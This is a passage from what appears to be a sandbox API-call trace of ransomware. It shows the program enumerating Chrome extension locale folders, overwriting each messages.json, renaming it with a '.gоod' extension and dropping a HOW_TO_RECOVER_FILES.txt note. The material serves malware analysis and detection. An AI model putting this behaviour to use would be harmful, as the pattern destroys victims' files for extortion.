ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.598] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0249.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0249.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0249.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0249.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id", lpFilePart=0x0) returned 0x7b [0249.598] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85406eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545507, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8545507, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0249.598] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85406eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545507, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8545507, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8545507, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545442, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0249.598] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8545507, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545442, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0249.599] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0249.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0249.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0249.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0249.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0249.599] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3920ff0 | out: lpFileInformation=0x3920ff0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8545507, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545442, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xbb)) returned 1 [0249.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0249.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0249.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0249.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0249.599] GetFileType (hFile=0x85c) returned 0x1 [0249.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0249.599] GetFileType (hFile=0x85c) returned 0x1 [0249.599] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xbb [0249.600] ReadFile (in: hFile=0x85c, lpBuffer=0x3921468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3921468*, lpNumberOfBytesRead=0x209ebc98*=0xbb, lpOverlapped=0x0) returned 1 [0249.600] CloseHandle (hObject=0x85c) returned 1 [0249.656] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0249.656] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0249.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.657] GetFileType (hFile=0x808) returned 0x1 [0249.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0249.657] GetFileType (hFile=0x808) returned 0x1 [0249.657] WriteFile (in: hFile=0x808, lpBuffer=0x37a8278*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x37a8278*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0249.658] CloseHandle (hObject=0x808) returned 1 [0249.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json", lpFilePart=0x0) returned 0x89 [0249.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0249.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0249.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8545507, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545442, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x91045b90, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0249.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0249.658] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.gоod")) returned 1 [0249.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0249.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0249.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0249.660] GetFileType (hFile=0x808) returned 0x1 [0249.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0249.660] GetFileType (hFile=0x808) returned 0x1 [0249.660] WriteFile (in: hFile=0x808, lpBuffer=0x37abbb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37abbb0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0249.661] CloseHandle (hObject=0x808) returned 1 [0249.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0249.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is", lpFilePart=0x0) returned 0x7b [0249.661] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8558d8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dbac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe855dbac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0249.661] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8558d8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dbac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe855dbac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.662] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe855dbac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dae2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0249.662] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0249.662] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0249.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0249.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0249.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0249.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is", lpFilePart=0x0) returned 0x7b [0249.662] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8558d8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dbac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe855dbac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0249.662] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8558d8d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dbac, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe855dbac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.662] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe855dbac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dae2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0249.663] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe855dbac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dae2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0249.663] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0249.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0249.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0249.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", lpFilePart=0x0) returned 0x89 [0249.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0249.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37bbb80 | out: lpFileInformation=0x37bbb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe855dbac, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe855dae2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0xb2)) returned 1 [0249.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0249.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", lpFilePart=0x0) returned 0x89 [0249.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0249.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.663] GetFileType (hFile=0x808) returned 0x1 [0249.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0249.664] GetFileType (hFile=0x808) returned 0x1 [0249.664] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xb2 [0249.664] ReadFile (in: hFile=0x808, lpBuffer=0x37bbff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37bbff0*, lpNumberOfBytesRead=0x209ebc98*=0xb2, lpOverlapped=0x0) returned 1 [0249.664] CloseHandle (hObject=0x808) returned 1 [0250.633] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", lpFilePart=0x0) returned 0x89 [0250.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0250.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0250.878] GetFileType (hFile=0x824) returned 0x1 [0250.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0250.878] GetFileType (hFile=0x824) returned 0x1 [0251.046] WriteFile (in: hFile=0x824, lpBuffer=0x39b7370*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x39b7370*, lpNumberOfBytesWritten=0x209ebba8*=0xc0, lpOverlapped=0x0) returned 1 [0251.046] CloseHandle (hObject=0x824) returned 1 [0251.046] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json", lpFilePart=0x0) returned 0x89 [0251.047] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0251.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0251.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user 